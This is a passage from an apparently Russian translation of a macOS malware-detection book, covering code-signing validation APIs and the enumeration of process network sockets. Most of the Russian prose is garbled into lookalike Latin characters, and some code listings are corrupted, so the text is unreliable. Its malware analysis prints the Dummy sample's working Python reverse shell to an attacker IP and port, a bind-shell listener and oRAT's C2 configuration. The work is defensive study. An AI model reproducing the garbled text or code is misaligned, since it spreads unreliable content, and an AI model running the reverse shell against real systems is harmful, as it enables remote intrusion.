ero n Apple, n ctopoHHuii developer ID (requirement anchor apple generic). B kaxgom ns atnx
cny4aes Ball Ko MOXeT BbI3BaTb (PYHKLMIO SecRequirementCreateWithString ¢ requirement, KoTopbIn
Bbl XOTUTE NPOBEPUTD, a 3aTeM nepeaatb 3TOT requirement B APl SecStaticCodeCheckValidity. YTobbl
y4ecTb universal binaries, Bbi3biBanTe 3Ty (PYHKUMIO CO 3HA4YEHNEM donaroB, cogepxaLlimm
kSecCSCheckAllArchitectures.

Takxke cnegyeT Bbi3biBaTb AP| SecAssessmentCreate, YTOObI yUMTbIBATL ANIEMEHTLI C 4ENCTBUTENBbHBIMM
noanucsammn, HoO 0To3BaHHbIMK notarization tickets. B kayecTBe peanbHOro npumMepa Takow cutyauum
NpUMeHNTENBHO K applications paccmoTpuM yxe ynomsiHyTyto supply chain attack Ha 3CX. B aton aTake
CEBEPOKOPENCKMNE aTaKytoLMe CKoMNpoMeTupoBanu cetb komnadmn 3CX u build server, BHeapunu
malware B application 3CX, nognucanu ero code signing certificate 3CX, a 3atem o6maHoM gobunuce
notarization ot Apple. He xxenasi ot3biBaTb code signing certificate 3CX, uto 3abnokmposano 6ol
MHOXECTBO ApYrMx NermTuMHbIX npunoxeHnin 3CX, Apple nuwb oto3Bana notarized ticket
ckomnpomMeTuposaHHoro application.

3anyctum npoekT checkSignature u ana nermtnmHelx applications, n ana malware, Bkntoyasa obpasel
3CX:

% ./checkSignature /Applications/LuLu.app

Checking: LuLu.app

Status: signed

Notarized: yes

Signing authorities: : (

"<cert(0x13b814800) s: Developer ID Application: Objective-See, LLC (VBG97UB4TA)
i: Developer ID Certification Authority>",

"<cert(0x13b81c800) s: Developer ID Certification Authority i: Apple Root CA>",
"<cert(0x13b81do00) s: Apple Root CA i: Apple Root CA>"

)
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% ./checkSignature WindTail/Final_Presentation.app
Checking: Final_Presentation.app
Status: certificate revoked

% ./checkSignature "SmoothOperator/3CX Desktop App.app"
Checking: 3CX Desktop App.app

Status: signed

Notarized: revoked

% ./checkSignature MacMa/client
Checking: client
Status: unsigned

CHavana mbl npoBepsieM nognucaHHoe n notarized npunoxenne LuLu ot Objective-See, 3atem obpasel
malware WindTail ¢ oto3BaHHbIM certificate. [Janee Mbl TECTUPYEM 3K3EMMASIP TPOSAHU3MPOBAHHOIO
npunoxeHns 3CX; Hall Kof, KOpPpeKTHO obHapyxuBaeT ero revoked notarization status. HakoHeL, Mbl
OeMOoHCTpupyeM, 4To malware MacMa unsigned.

3anyuweHHble npouecchl

[lo cux nop Mbl ccrnegoBany anemMeHTbl Ha Aucke, nony4yas static code object references. B atom
pasgene Mbl npoBepum code signing information 3anyLeHHbIX npoLeccoB ¢ noMoLlbo dynamic code
object references (SecCodeRef).

Korga aTto npumeHumo, cnegyeT ncnonb3osatb dynamic code object references no gsym npuumHam.
[NepBag - ah(PeKTBHOCTL; ONepaLnoHHasa cMcTemMa yxxe npoBepuna 3sHayuTenbHy YacTb code signing
information anst dynamic instance nHTepecytowero Hac anemeHTa, YTobbl 06ecneynTs COOTBETCTBUE
runtime requirements. [Ina Hac 370 03Ha4aeT, YTO Mbl MOXeM n3bexaTb 3aTpaTHbIX onepauun gannoBoro
BBOAa-BblBOAA, CBA3aHHbIX cO static code checks, 1 nponyCcTUTbL HEKOTOPbIE BbIYNUCAEHNS.

[pyras npununHa, no kotopor dynamic code references npegnoytutensHee static code references,
CBsI3aHa C BO3MOXHbIMU pacxoXaeHsaMn mexay obpa3om anemeHTa Ha aucke u ero obpasom B namaTy.
Hanpumep, malware no4tu HUYTO He MellaeT n3MeHUTb code signing information cBoero anemeHTa Ha
avcke Ha gobpokayecTBeHHOe 3HadeHue. (PasymeeTcs, camo no cebe 3710 kpaviHe aHoOMarbHoe
noeefeHne JOIMKHO NOAHATH OFPOMHbIN KpacHbIn cpnar.) C apyro CTOPOHbI, 3anyLEHHbIA SNTIEMEHT He
MOXeT M3MeHUTb cBoto dynamic code signing information.

YUTto6bl NpoBepuTh, NOANMCAH N 3anyLLEeHHbIN NpoLecc, a 3ateM n3Bneds ero code signing information,
CHayvana Hy>xHo nonyuntb code reference 4yepes AP| SecCodeCopyGuestWithAttributes. BoisbiBariTe
ero ¢ ID npouecca unu, npegnodtuTensHo, ¢ 6onee 6e3onacHeiM process audit token (nucTuHr 3-21).

SecCodeRef dynamicCode = NULL;

NSData* data = [NSData dataWithBytes:token length:sizeof(audit_token_t)];
NSDictionary* attributes = @{(__bridge NSString*)kSecGuestAttributeAudit:data};
status = SecCodeCopyGuestWithAttributes(NULL,

(__bridge CFDictionaryRef _Nullable)(attributes), kSecCSDefaultFlags, &dynamicCode);

if(errSecSuccess != status) {
goto bail;
}

Jlnctunr 3-21: MonyyeHwne code object reference yepeas audit token npouecca

CHayvana mbl npeobpasyeM audit token B 06bekT data. 3To npeobpasoBaHue HyXHO, YTOObI Mbl MO
nomectuTb audit token B cnoBapb ¢ kno4yoM-cTpokon kSecGuestAttributeAudit. 3aTem Mbl nepenaem
aT0T cnoBapb B APl SecCodeCopyGuestWithAttributes BMecTe ¢ out-ykasatenem, KOTOPbIN SOSMKEH
ObITb 3anonHeH code object reference.
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Mmesa Ha pykax code object reference, moxHoO npoBeputb code signing information npouecca ¢ nomoLLbto
SecCodeCheckValidity nnu SecCodeCheckValidityWithErrors. HanomHio, 4to ons anemMeHToB Ha
OucKe, Takux Kak universal binaries, Mbl ncnonb3yem 3HavyeHue cnara kSecCSCheckAllArchitectures,
4yTOObI MPOBEPUTL BCe BCTpoeHHble Mach-O; anga 3anyuieHHbIx npoueccoB dynamic loader 3arpy3nT u
BbINOSTHUT TOMNBKO OANH BCTPOEHHbI Mach-O, noaTomMy 370 3Ha4YeHne driara He UMEET OTHOLLIEHUS K Aeny
N HE HY>KHO.

KpanHe BaxxHO npoBepsaTb code signing information npouecca neped Tem, kak nsBnekatb Unm
ncnonb3oBaTthb NGy ee YacTb. Ecnu Bbl 3TOro He caenaeTe UM ecnv NpoBepKa 3aBEPLUMTCSA Heyaayen,
nosepsTb en byaeT Henb3s. Ecnu code signing information gencTeutensHa, Bol MOXeETE U3BMEYb ee
yepes yxe obcyxaaBLuyrocs yHkumo SecCodeCopySigningInformation.

Wwmes code reference aons npouecca, MOXHO Takke NPOoCTbIM 1 6e3onacHeiM 06pa3oM BbINOMHATE Apyrue
obblaeHHbIe, HO BaxkHble 3agayn. Hanpumep, ¢ nomotsto API SecCodeCopyPath MOXHO nonyyYnTb nyTh
npouecca (NMUCTuHr 3-22).

CFURLRef path = NULL;
SecCodeCopyPath(dynamicCode, kSecCSDefaultFlags, &path);

Jinctunr 3-22: MonyyeHne nyTn npouecca u3 dynamic code object reference

MOoXHO Takke BbIMONHATbL KOHKPETHbIE MPOBEPKM C MCNOMb30BaHNEM requirements, kak obcyxganock Ans
static code object references. Npu ucnonb3zosaHuu dynamic code object references noaxon B 0CHOBHOM
TOT Xe, 3a NCKIMYEHNEM TOro, YTO ANS BbINOSIHEHUSA NPOBEPKM Bbl ByaeTe ncnonb3osats API
SecCodeCheckValidity. BaxHo oTmMeTuTth, 4TO KOrga paboTta ¢ dynamic code reference 3aBeplueHa, ero
cnegyet ocBoboauTb Yepes CFRelease.

Mockonbky macOS He No3BONUT NpoLeccy BbINONHATLCS, ecnu Bbin 0To3BaH ero certificate nnm
notarization ticket, Bam He HyXHO BbINOMHATL 3Ty NPOBEPKY CAMOCTOATENbHO AN 3anyLLEHHbIX
npoLleccoB.

O6HapyxeHune NOoXHbIX cpabaTbiBaHUMN

B Havane rnmaBbl 1 0OTMETWI, YTO pas3nuyHble antivirus engines oLWMB0O4YHO NOMETUNMN KOMMNOHEHTLI Apple
MRT kak malware. Ecnn 6b1 3T engines y4nu code signing information anemeHnTa, oHn 661 onpegenunu
MRT 1 ero KOMMOHEeHTbI Kak BCTPOEHHYH YacTb macOS, NoAnMCaHHY UCKIOYMTENBHO COBCTBEHHO
Apple, n 6e3onacHo npourHopuposanu 6ol ee.

£ nokaxy, Kak BbINONHUTb TaKyto NPOBEPKY € ucnonb3oBaHuemM API, npeactaBneHHbIx B 3ToM rnase. B
4YacTHOCTH, Bbl OyaeTe ncnonb3oBath requirement string anchor apple, koTopas kpuntorpadu4eckm
WCTUHHA TOrAda M TONbKO TOrAa, Koraa afeMeHT nognucana Tonbko Apple 1 HUKTO Apyron.

Mpeanonoxum, Yto Mbl nony4nnu static code reference ansa GuHapHoro caiina, kKoTopbi ObiT OLIMBOYHO
nomeyeH kak malware. B nuctuHre 3-23 mbl cHavarna komnunupyem requirement string, a satem
nepegaem ee n code reference B APl SecStaticCodeCheckvalidity.

static SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(CFSTR("anchor apple"), kSecCSDefaultFlags, &requirement);

if(errSecSuccess ==
SecStaticCodeCheckValidity(staticCodeRef, kSecCSCheckAllArchitectures, requirement)) {
// Code placed here will run only if the item is signed by Apple alone.

¥
JInctnHr 3-23: MNpoBepka OeNCTBUTENBHOCTM aNemMeHTa no requirement anchor apple

Ecnn SecStaticCodeCheckValidity Bo3BpawaeT errSecSuccess, Mbl 3HaeM, YTO 3NEMEHT nognucana
Tonbko cobcTBeHHO Apple, a 3HauuT, oH NpuHagnexmt macOS 1 NosTomy TOYHO He ABnsieTcst malware.
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Koabl ounbok code signing

Kak ynoMuHanock Ha NpOTS>KEHWM 3TOW rMaBbl, BAXXHO Haanexawmm obpasom obpabartbiBaTh nobble
OLLIMBKM, C KOTOPLIMW Bbl CTanknBaeTech Npu NpoBepke Kkpuntorpadudeckon nognmcu anemeHTa. Koabl
owmnbok ans code signing services APls MOXHO HanTu B AoKymeHTaumn Apple ans paspabotunkos "Code
Signing Services Result Codes" 24 yrn s avine CSCommon . h, pacnonoXeHHom B
Security.framework/Versions/A/Headers/. 3Tu pecypcbl yka3bIBalOT, HANpMMep, YTO KOZ OLUMOKM
-66992 cooTBeTCcTBYET errSecCSRevokedNotarization, o3Hauvasi, 4To code Gbin revoked.

Ecnn npocmoTp header files - He Bawe 3aHATue, obpatuteck k canty OSStatus. OT1oT cant
npegocTaBnseT NPocTon cnocob conoctaBuTb Ntobor kog owmndku Apple APl ¢ ero yenoBekouMTaeMbiM
UMEHEM.

3aknro4yeHue

Code signing no3sonsieT Ham onpeaenuTb, OTKyAa B3AT 3N1eMeHT 1 6bin N OH n3ameHeH. B aTol rnaee Bbl
nogpo6Ho paccmoTpenu code signing APIs, koTopble MOryT NpoBEpsiTb, M3BMEKATb N BanuanposaTtb code
signing information ans Takmux anemeHToB, Kak disk images, packages, on-disk binaries n running
processes.

MoHumaHue atux API obs3aTenbHO B KOHTEKCTE 0BHapyxeHus malware, ocobeHHO MOTOMY, YTO MOAXOAbI
Ha ocHoBe heuristics moryT nsobunoatsb false positives. MIHbopmaums, npegoctaensgemas code signing,
MOXET pe3Ko COKpaTUTb BalLuM OWMOKM 06HapyxeHusi. MNpu cosganunm antimalware tools MOXHO
ncnonb3oBaTb code signing MHOXXECTBOM CMOCcob0B, BKkMoYasa naeHTudmkauuio core operating system
components, KOTOPbIM MOXHO A0BepPSAThL, OOHapYXeHne arneMeHTOoB, Yblk certificates nnm notarization
tickets 6bInv oTO3BaHbI, 1 ayTeHTUdMKauuto clients, Hanpumep tool modules, NbiTalOLWMXCA NOAKNHOYNTHCS
k XPC interfaces (Tema paccmartpuBaeTcs B rnase 11).
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naBa 4. CocTossHUe U cTaTUCTUKA CeTun

BonblwmnHcTBO 06pa3uoB Mac malware akTMBHO UCMOMbL3YIOT CeTb ANs Takmx 3agad, kak exfiltrating data,
3arpyska gononHuTeneHbIX payloads nnm cesasb ¢ command-and-control servers. Ecnu Bl MOXeTe
HabngaTh 3TM HeCaHKUMOHMPOBaHHbIe network events, Bbl MOXeTe NpeBpaTuTb Nx B MOLLHYI0 detection
heuristic. B aToi rnaBe s nokaxy, kak MMeHHO co3faTtb snapshot network activity, Hanpumep
YCTaHOBMEHHbIX coeanHeHnn u listening sockets, n cBasatb kaxagoe cobbiTMe C NPOLECCOM, KOTOPbIN 3a
Hero oTBevaeT. dTa MHOpMaLUSA AOIMKHA UrpaTh XXU3HEHHO BaXkHYHO posb B Nobor cucteme
obHapyxeHus malware, MOCKOMNbKY C ee NOMOLLbI0 MOXHO OBHapy»X1BaTb Aaxe paHee HEM3BECTHOE
malware.

A cocpepoTodych Ha ABYx noaxoaax k nepeuuncrnenuto network information: API proc_pid* n API,
Haxogsawwmxcs B 3akpbIToM hperimBopke NetworkStatistics. MNonHbi kog onst 060Mx NOAX0A0B MOXHO
HanTu B nanke rnaebl 4 B GitHub-peno3nTopumn aTom KHUIA.

Host-based collection npoTtuB network-centric collection

B obuwem cnyyae network information cobupatot nubo Ha host, nubo nssHe, Ha network level (Hanpumep,
yepes network security appliances). XoTsi y 0001Mx NOAX040B €CTb NIKCHI U MUHYChI, 3Ta naea
cocpenoToyeHa Ha nepeoM. [Ina obHapyxeHusa malware s npegnoyntato host-based approach, nockonbky
OH MOXeT HaexXHO onpeaennTb KOHKPETHBIN Npouecc, oTBevarLlwmin 3a Habnogaemole network events.

TpyaHO nepeoLeHnTb LLIEHHOCTbL BO3MOXHOCTHY cBA3aTh network event ¢ npouieccoM. OTa ¢Bs3b No3BonsaeT
BHMMATESbHO U3y4nNTh NpoLiecc, obpaLLaloLWMIACs K CeTU, N MPUMEHUTb K HeMy Apyrue heuristics, 4ToGbI
onpefenuTb, He MOXET N OH ObITb malicious. Hanpumep, persistently installed, non-notarized binary,
obpaLlatoLLminca K ceTu, 4eNCTBUTENBHO MOXET OblTb malware. OnpeaeneHne 0TBETCTBEHHOIO npoLiecca
TakKke MOXET NOMOYb PacKpbiTb malware, nbiTarolleecsa 3amackmpoBaTh cBon traffic nog nermTMmHbIN;
cTtangapTtHbii HTTP/S request, ncxogsawmi ot signed and notarized browser, BepoaTHO, benign, Torga kak
TOT Xe request, CBsI3aHHbIV C Hepacno3HaHHbIM NPOLIECCOM, onpeaeneHHo 3acnyxumeaeTt bonee
NPUCTanbHOIO U3yYeHMs.

Ewe ogHo npeumyLuectBo cbopa networking information Ha host level coctouT B TOM, 4To network traffic
o6blyHO encrypted, a host-based approach yacto no3sonset nsbexaTb cnoxHocTen network-level
encryption, koTopas npumeHsaeTca no3gHee. Bbl yBuanTe ato npeMmMyLLEecTBO B rnase 7, NOCBSALLEHHOWN
host-based approaches gnsi HenpepbiBHOro MoHMTOpPUHra networking traffic.

BpepoHocHas network activity

PasymeeTcs, cam dakT, 4To nporpamMma obpallaeTcs K ceTu, He 03Ha4vaeT, YTo OHa ABnseTca malware.
BonblwmnHcTBO NerntumHoro MO Ha Ballem KOMNbIOTEPE, BEPOATHO, UCMONb3YeT CeTb. TEM HE MeHee
HekoTopble TuMbl network activity Yawe BctpeyatoTcs B malware, yem B nerutumHom 0. BoT Heckonbko
npumepos network activity, koTopble cnegyeT n3yvyaTb BHUMAaTENbHEE:

Listening sockets, oTKpbITble gns n60ro yaaneHHoro nogkno4veHusa Malware moxeT
npepocTaBuTb remote access, nogknioyme local shell k socket, koTopbIvi cnywaeT noakNYeEHUs ¢
BHewwHero interface.

Beacon requests, npoucxopgsiuue ¢ perynsipHbiMu nuitepBanamm Implants n gpyroe persistent
malware MoryT perynsapHo oTMeTaTtbcsl Ha cBomx command-and-control servers.
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Bonbwune 06bembl uploaded data Malware yacto exfiltrates data n3 sapaxeHHol cucTemsl.

PaccmoTpyM Heckonbko NpumepoB malware 1 ux ceTeBbIX B3aumogencTeuin. HauHem c obpasua,
n3secTHoro kak Dummy (Ha3BaHHOro Tak BalLWUM MOKOPHbLIM CITyroi, MOCKOMbKY OH AOBOMbLHO NPOCTOBAT).
Malware cosgaeT interactive shell, koTopblh faeT yaaneHHOMy aTakyoLemMy BO3MOXHOCTb BbINOSHATL
NPOu3BOSbHbIE KOMaHAbl Ha 3apaxeHHOM host. KOHKpeTHO OHO NOCTOSIHHO BbINOMHAET cneayowmin bash
script, cogepxawmin Python code (s oTdpbopmaTpoBan ero Ang ynyyeHus YntaemMocTu):

#!/bin/bash

while :

do

python -c

'import socket,subprocess,os;

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("185.243.115.230",1337));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
sleep 5

done

OTOT KoL NOOKNIOYAETCS K CepBEPY aTakyoLero, pacronoXeHHOMy no agpecy 185.243.115.230 Ha
nopty 1337. 3atem oH gybnupyeT cTaHgapTHbIe NOTOKM BBOAA (stdin), BeiBoga (stdout) n owmbok
(stderr) (nx file descriptors paBHbI COOTBETCTBEHHO 9, 1 1 2) B NOAKMOYEHHbIN socket. HakoHel, oH
BbINonHseT /bin/sh ¢ dnarom -1i, 3aBepwas HacTponky interactive reverse shell. Ecnu 66l Bbl
nepeuncnunn network connections Ha 3apaxxeHHoM host (Hanpumep, ncnonb3ya macOS-yTunuty lsof,
KoTopasi nepeuncnsieT open file descriptors Bcex npoueccos), Bbl yBuaenu obl coeanHeHwue,
npuHaanexatlee aton Python-based shell:

% lsof -nP | grep 1337 | grep -i python
Python ... TCP 192.168.1.245:63353->185.243.115.230:1337 (ESTABLISHED)

Haw BTOpON Npumep cBaA3aH ¢ npeanonaraemon kutanckon hacker group, Hambonee M3BECTHON CBOUM
attack framework Alchimist [sic]. ] Mpwn BbInoNHeHMM malicious code cbpackiBaeT dynamic library ¢
nmeHeM payload.so. Ecnv oTkpbITb 3Ty library (M3HauyanbHo HanncaHHyto Ha Go) B decompiler, MOXHO
YBUAETb, YTO OHa coaepXuT noruky ansa npmeasky shell k listening socket:

os.Getenv(..., NOTTY_PORT, ©xa, ...);
strconv.ParseInt(...);
fmt.Sprintf(..., 0.0.0.9, ..., port, ...);

net.Listen("tcp", address);
main.handle_connection(...);

CHayvana oHa uutaet custom environment variable (NOTTY_PORT), 4To6bl noctponTb network address
string cbopmata 0.0.0.0:port. Ecnu nopT He ykasaH, UCMONb3yeTcs 3HaYeHne o yMonyaHuio 4444,
[anee oHa Bbi3bIBaeT meToq Listen us Go library net, 4ytobbl cosgarts listening TCP socket. MeTtog ¢
nmeHeM handle_connection obpabatbiBaeT noboe nogkntodeHne k aToMy socket. Micnonbays mon
network enumeration tool Netiquette (pucyHok 4-1), moxxHO yBuaeTsb listening socket malware. [2]
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IQuette

Prates

loader (pid: 13403)

AUsers/eser Do loads / loader

1114444 C Listen

PucyHok 4-1: Netiquette nokasbiBaeT listening socket Ha nopTy 4444

[NpoHuuaTenbHbIM YnTaTESNb MOI 3aMEeTUTb, YTO socket, cnyLwatowmnn nopT 4444, cBs3aH C NPOLECCOM C
nmeHeMm loader, a He Hanpsimyto ¢ malicious library payload.so. 3Tto notomy, 4to macOS oTcnexveaeT
network events Ha process level, a He Ha library level. K coxaneHuto, nccnegosatenu, o6HapyxusLLne
yrposy, He Nony4Yunnu nporpammy, Kotopas XocTuT library, nostomy s Hanucan nporpammy loader, 4ToGbI
3arpyxartb 1 BblinonHATL malicious library ansa dynamic analysis.

JTo6on kop, koTopkIn ncnonbayeT system APls ons nepeuncnennst network connections, moxeT
onpeaenuTb TONbKO NPOLECC, U3 KOTOPOro Bo3HMkNa network activity. Ota activity morna BO3HUKHYTb
HanpsaMy 13 Koga B main binary npouecca unm, Kak B JaHHOM crnyyae, u3 ogHoun u3 libraries,
3arpyXeHHbIx B ero address space, 4YTo 4aeT eLle OOHY NPUYMHY, NoYeMy CTOUT NEPEYNCNATb U
aHanusumpoBaTb loaded libraries npouecca, kak Mbl genanv B rnase 1.

PaccmoTpum nocnegHuin obpasel. BmecTo BbizoBa shell advanced persistent threat (APT) implant oRAT
ncnonb3yeT 6onee pacnpoCTpaHEHHbIV MOAX04: yCTaHaBNMBAET coeamHeHne ¢ command-and-control
server atakytoulero. Yepes aTo coeiMHeHVE OH MOXET nonyyatb tasking 4Ns BbIMONTHEHMS LUMPOKOTO
OunanasoHa OencTBUin, npegocTtaBnsowmnx remote attacker nonHbIA KOHTPONb Hag 3apaXKeHHbIM host. Bl
[oBonbHO HEOBLIYHO TO, YUTO BCe tasking, a Takke perynsapHble "heartbeat" check-ins BeinonHsAwTCA Yepes
ogHo multiplexed persistent connection. KoHdurypauuio atoro coegmHeHus, Hanpumep protocol n address
cepBepa, MOXHO HanTu npsamo B binary oRAT. NHdopmauusa encrypted, Ho nockonbky decryption key
Takke BCTPOEH B binary, Mbl MOXeM Nnerko pacumdgpoBaTb ee unm copocntb U3 NamsiTu BO Bpems runtime,
Kak obcyxxganoch B rnase 9 kHurn The Art of Mac Malware, Volume 1. BoT doparmeHT paclumpoBaHHOM
configuration, cogepxawen nHgpopmaumo o command-and-control server:

{

LI
"Network": "stcp",
"Address": "darwin.github.wiki:53"

I3

B configuration 3HayeHwne kntoya Network ynpaensaet Tem, 0yaet nvm oRAT obwartbesa no TCP nnm UDP u
Oyaet nun oH encrypt ceon network traffic. 3HaueHune stcp ykasoiBaeT Ha TCP, encrypted yepes naket Go
Transport Layer Security (TLS). 41 Configuration Takke nokasbiBaeT, 4to traffic HanpaBnsieTcs k
command-and-control server darwin.github.wiki n 6yget natm yepes nopt 53. XoTs traffic uepes atoT
nopT TpaamuuoHHo BolgeneH ans DNS, HMYTO He mellaeT aBTopam malware ToXe Mcnonb3oBaThb €ro,
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BO3MOXHO, 4TODObI cMellaTbest ¢ nernTumMHbiM DNS traffic unun nponTn yepes firewalls, koTopble 0ObIMHO
paspeLatoT ucxogawmm traffic Ha atom nopry.

Mocne 3anycka malware Mbl MOXeM nerko HabnogaTe coeanHeHNe ¢ cepBepoM aTakytoLlero nmbo
nporpaMmHo, NMMBo BPY4YHYHO Yepes CUCTEMHbIE UM CTOpoHHKE networking tools. Tenepsb s
cocpefoTodyCh Ha NePBOM BapuaHTe M NMOKaxy, Kak NporpaMmmHo nepeuncnatb sockets n network
connections, npepocTtaBnaTb metadata ons kaxgoro n3 HUX 1 onpeaensaTb Npouece, OTBevaLwmn 3a
network activity.

3axBaT COCTOSAHMA ceTn

EcTb Heckonbko cnocoboB 3axBaTutb network activity, Hanpumep listening sockets n established
connections. OgnH MeTof COCTOUT B UCMONb30oBaHUM pasnuyHblix APl proc_pid*. 31oT workflow
BOOXHOBMEH npoektom Palomino Labs get_process_handles. ol

CHavana mbl BbidoBeM pyHKkumio proc_pidinfo c process ID n koHcTaHTOn PROC_PIDLISTFDS, 4TOGbI
nony4unTb cnucok Bcex file descriptors, currently opened ykasaHHbIM npoueccom. AToT cnmcok file
descriptors UHTEpPEceH HamMm NOTOMY, YTO OH Takke OyaeT BkntovaTb sockets. YToObl M3BMNEYL TOMBKO
sockets, mbl npongem no Bcew file descriptors, cocpeagoToumBLLUCE Ha TeX, Yew type yCTaHOBMEH B
PROX_FDTYPE_SOCKET.

HekoTopble socket types nmetoT nmeHa ¢ npedukcom AF, 4To o3HavaeT address family. YacTb aTux
sockets (Hanpumep, Te, Yer type paBeH AF_UNIX) sisngatoTcs local, 1 nporpamMmmbl MOryT MCNONb30BaTb MX
Kak mexaHu3m interprocess communication (IPC). O6bl4HO OHM He cBsidaHbl ¢ malicious activity, noatomy
Mbl MOXEM UTHOPMPOBaTb X, OCODEHHO B 3TOM KOHTEKCTe nepeumncneHmns network activity. OgHako ons
sockets Tuna AF_INET (ucnonbaytoTtes ans IPv4 connections) unu AF_INET6 (Mcnone3ytoTca ans IPve
connections) Mbl MOXeM 13BMneYb Takyto MHgopmauuto, kak protocol (UDP nnm TCP), local port n address.
Ona TCP sockets mbl Takke nssneyem remote port, address u state (listening, established n 1. a.).

[Npongem no kogy, peanuaytowemy aTy OyHKLNOHaNbHOCTb. Ero MOXHO HalTh B NpoekTe
enumerateNetworkConnections aTon rnasbl.

Mony4eHue file descriptors npouecca

MbI HaunHaem c BbizoBa API proc_pidinfo, nepenasas emy process ID, conar PROC_PIDLISTFDS v Tpu
aprymeHTa, yCTaHOBIEHHbIE B zero, YToObl NONy4YUTb Size, He0OXoaUMBIV ANs MOMHOro cnvcka open file
descriptors npouecca (nuctuHr 4-1). Ana dpyHkumi, ocobeHHo ctapbix C-based APIs Bpoae proc_pid*,
pacnpocTpaHeH NpueM: cHavana Bbi3BaTb pyHKUMO ¢ NULL buffer n zero-byte length, 4To6bl NONYy4nTHL
nctuHHyto length, Tpebyemyto ans xpaHeHus gaHHbIX. MNocnenytowmii Bei3oB Toro xe API ¢ HOBbIM size n
newly allocated buffer 3atem BepHeT 3anpoLleHHble JaHHbIE.

#import <libproc.h>
#import <sys/proc_info.h>

pid_t pid = <some process id>;
int size = proc_pidinfo(pid, PROC_PIDLISTFDS, @, NULL, ©);

struct proc_fdinfo* fdInfo = (struct proc_fdinfo*)malloc(size);
proc_pidinfo(pid, PROC_PIDLISTFDS, @, fdInfo, size);

Jlnctunr 4-1: MNonyyenwe file descriptors npouecca
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Mony4ynB HeobxoaMMbIN size 1 BbIgeNUB nogxoaawmin buffer, Mbl NTOBTOPHO BbI3biBaeM proc_pidinfo, Ha
aT0T pas ¢ buffer n ero size, 4tobebl nonyunts file descriptors npouecca. Korga dpyHkums BepHeTcs,
npenocTasneHHbIN buffer 6yaeT cogepxatb cnucok cTpykTyp proc_fdinfo: no ogHom Ans Kaxgoro open
file descriptor npouecca. 3aronoBouyHbIi hann sys/proc_info.h onpegenseTt aTn CTPYKTYpbl
cnegyowum obpasom:

struct proc_fdinfo {

int32_t proc_fd;

uint32_t proc_fdtype;
¥

OHu cogepxat Bcero gBa members: file descriptor (proc_fd) u file descriptor type (proc_fdtype).

N3BneuyeHune network sockets

Mmesn cnucok file descriptors npouecca, Tenepb MOXHO MPONTM MO KAXKOOMY U3 HMX, YTOObI HANTK sockets
(MnMCTUHr 4-2).
for(int i = @; i < (size/PROC_PIDLISTFD_SIZE); i++) {
if (PROX_FDTYPE_SOCKET != fdInfo[i].proc_fdtype) {
continue;

}
}

JlnuctnHr 4-2: Mepebop cnucka file descriptors ¢ nrHopuposaHmemM non-sockets

Mockonbky buffer b 3anonHeH cnuckom cTpykTyp proc_fdinfo, kog orpaHnynBaeT ntepaumio, 6eps
size buffer n gens ero Ha koHCTaHTy PROC_PIDLISTFD_SIZE, 4yTO6bl NONYYNTb KONUYECTBO items B array.
OTa KOHCTaHTa ygoOHO CoaepXuT size CTpykTypbl proc_fdinfo. [lanee kog nudyyaert type kaxgoro file
descriptor, npoBepss member proc_fdtype kaxgown cTpykTypbl proc_fdinfo. Sockets nmetort type
PROX_FDTYPE_SOCKET; koa urHopupyer file descriptors nioboro gpyroro type, BeinonHss statement
continue, uU3-3a yero Tekywas iteration umkna for 4OCPOYHO 3aBepLUaeTCs U HaYMHAETCa crieaytoLlas,
TO ecTb Ha4nHaeTcsa obpaboTka cnepytoulero file descriptor.

NMonyyeHune cBeaeHumn o socket

Tenepb, 4Tobbl NonyunTe detailed information o sockets, mMbl Bbi3biBaeM dyHkumto proc_pidfdinfo. OHa
npuHMMaeT nNaTb napameTpoB: process ID, file descriptor, 3HaueHune, ykasbiBatoLlee type nHgopmaumu,
KoTOpyto Mbl 3anpatumBaem Y file descriptor, out-ykazatenb Ha structure u size aton structure (nUcTuHr
4-3).

struct socket_fdinfo socketInfo = {0};

proc_pidfdinfo(pid, fdInfo[i].proc_fd,
PROC_PIDFDSOCKETINFO, &socketInfo, PROC_PIDFDSOCKETINFO_SIZE);

JInctnur 4-3: MonyyeHune nHdpopmaumm o socket file descriptor

Mockonbky Mbl pa3mMecTum 3TOT KoA B LUukne for, NpOXOoAsLEM NO CNMUCKY sockets npouecca (MUCTUHT
4-2), MOXHO ccbinaTbCs Ha Kaxapii socket, nHoekeupys atoT cnucok: fdInfo[i].proc_fd. KoHcTaHTa
PROC_PIDFDSOCKETINFO uHcTtpykTupyet API BepHyTb socket information, Torga kak koHcTaHTa
PROC_PIDFDSOCKETINFO_SIZE conepxuT size cTpykTypbl socket_fdinfo. O6e MoxHO HanTu B channe
Apple sys/proc_info.h.
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A ynomuHan, 4to He Bce sockets cBa3aHbl ¢ network activity. MoaTomy ko cocpeoToyYeH TOMNbKO Ha
networking sockets, ybs family pasHa nmbo AF_INET, nn6o AF_INET6. OTu sockets 4yacTo HasbiBalOT
Internet Protocol (IP) sockets. Family socket MmoxxHO HanTh B cTpykType socket fdinfo, usyuns member
soi_family ee member psi (MUCTUHT 4-4).

if( (AF_INET != socketInfo.psi.soi_family) && (AF_INET6 != socketInfo.psi.soi_family) ) {
continue;

}
JInctuHr 4-4: N3yyenne family socket

[MockonbKy Mbl BbIMONHAEM 3TOT KOA BHYTPM uukna for, Mbl nponyckaem nobon non-IP socket, BbinonHAS
statement continue, koTOpbIV NEepeBOANT Hac k cneaytowemy. OcTaBLUasiCa YacTb Koga U3BrekaeT
pasnuyHyto nHopmauuio n3 cTpyktypbl socket_fdinfo u coxpaHsieT ee B dictionary. Bobl yxxe Bugenu aty
family, koTopas gomxHa 6biTb NMMB0 AF_INET, nu6o AF_INET6 (NnUCTUHT 4-5).

NSMutableDictionary* details = [NSMutableDictionary dictionary];
details[@"family"] = (AF_INET == socketInfo.psi.soi_family) ? @"IPv4" : @"IPv6";

Jlnctunr 4-5: N3enevenune family type socket

Protocol socket moxHoO HanTv B member soi_kind cTpykTypbl psi. (HanomHio, 4To psi - 3TO CTpyKTYypa
socket_info.) Mpun ussnevyeHnn nudpopmauumn n3 socket BaxHo yumTbiBaTh pasnuums mexagy protocols,
NoTOMY YTO NpMAeTcs cebinatbes Ha pasHble structures. [ina UDP sockets, y KoTopbIx soi_kind
ycTaHoBneH B SOCKINFO_IN, Mbl ucrnornbdyem member pri_in cTpykTypbl soi_proto, yen type -
